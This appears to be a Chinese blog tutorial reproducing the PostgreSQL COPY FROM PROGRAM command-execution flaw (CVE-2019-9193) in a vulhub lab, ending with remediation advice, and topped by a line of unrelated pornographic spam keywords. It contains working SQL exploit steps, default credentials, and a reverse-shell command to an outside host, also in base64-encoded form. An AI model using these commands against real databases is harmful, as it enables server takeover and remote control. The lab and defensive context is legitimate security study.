亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

CVE-2019-9193之PostgreSQL?任意命令執(zhí)行漏洞的問題

 更新時間:2022年08月01日 11:08:53   作者:邊扯邊淡  
這篇文章主要介紹了CVE-2019-9193:PostgreSQL?任意命令執(zhí)行漏洞,本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下

起序:客戶內網測試的時候遇到的,搭建一個環(huán)境,寫個筆記記錄一下。

一、靶場環(huán)境

使用的是 github 上的 vulhub 環(huán)境。PostgreSQL 版本為 10.7。

vulhub:https://github.com/vulhub/vulhub

1、任意命令執(zhí)行

具有數(shù)據(jù)庫服務器文件讀取權限的攻擊者可以利用此漏洞執(zhí)行任意系統(tǒng)命令。

從 9.3 版本開始,Postgres 新增了一個 COPY TO/FROM PROGRAM 功能,允許數(shù)據(jù)庫的超級用戶以及 pg_read_server_files 組中的任何用戶執(zhí)行操作系統(tǒng)命令。

漏洞利用前提:

需要登陸;需要高權限;

所以要先弱口令爆破之后,然后查看是否是高權限。(對于PostgreSQL 來說,只有安裝數(shù)據(jù)庫時默認創(chuàng)建的超級用戶 postgres,類似于 Linux上的root用戶,擁有高權限。)

新建數(shù)據(jù)庫用戶:CREATE USER
新建數(shù)據(jù)庫:CREATE DATABASE
刪除數(shù)據(jù)庫:DROP DATABASE
刪除用戶:DROP USER
撤銷權限:REVOKE
賦權:GRANT

查看權限:https://www.modb.pro/db/53957

2、影響版本

受影響的版本(貌似更新版本無解)

PostgreSQL >= 9.3

二、漏洞利用

1、啟動靶機

docker-compose up -d

注:當測試完成之后會用到 關閉靶機 的命令。不是現(xiàn)在就要使用的命令。

docker-compose down -v

2、Navicat 連接 PostgreSQL

賬號密碼:postgres:postgres。

3、執(zhí)行命令

右鍵 public,點擊 新建查詢。

然后就是執(zhí)行下面的這些命令。

-- 先刪除你想要使用但是已經存在的表
DROP TABLE IF EXISTS cmd_exec;

-- 創(chuàng)建保存系統(tǒng)命令輸出的表
CREATE TABLE cmd_exec(cmd_output text);

-- 執(zhí)行系統(tǒng)命令利用特定函數(shù)
COPY cmd_exec FROM PROGRAM 'id'; 

-- 查看執(zhí)行結果
SELECT * FROM cmd_exec;

4、實戰(zhàn)拓展:反彈 shell 1、nc 監(jiān)聽

在 kali 中使用 nc 進行監(jiān)聽。

nc -lvvp 1314

2、執(zhí)行反彈 shell 的命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1'; 
SELECT * FROM cmd_exec;

但是可以看出執(zhí)行失敗了,這種方法不行。

3、反彈失敗

kali 也沒有得到 shell。

4、編碼解決

將反彈 shell 的命令 base64 編碼一下。(下面的解碼不用管)

# base64 編碼前
/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1

# base64 編碼后
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==

5、再次執(zhí)行反彈 shell 的命令

這里的編碼不僅僅限于 base64,其他編碼形式也可以,主要是為了解決數(shù)據(jù)傳輸過程中的特殊字符被異常解析的問題。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==" | base64 -d | bash'; 
SELECT * FROM cmd_exec;

6、反彈成功

三、漏洞修復

  • pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及讀取和寫入具有大權限的數(shù)據(jù)庫服務器文件。將此角色權限分配給數(shù)據(jù)庫用戶時,應慎重考慮;
  • 增強密碼的復雜度;
  • 進行網絡隔離,限制 IP 訪問,只允許需要的 IP 連接;

到此這篇關于CVE-2019-9193:PostgreSQL 任意命令執(zhí)行漏洞的文章就介紹到這了,更多相關PostgreSQL 任意命令執(zhí)行漏洞內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!

相關文章

最新評論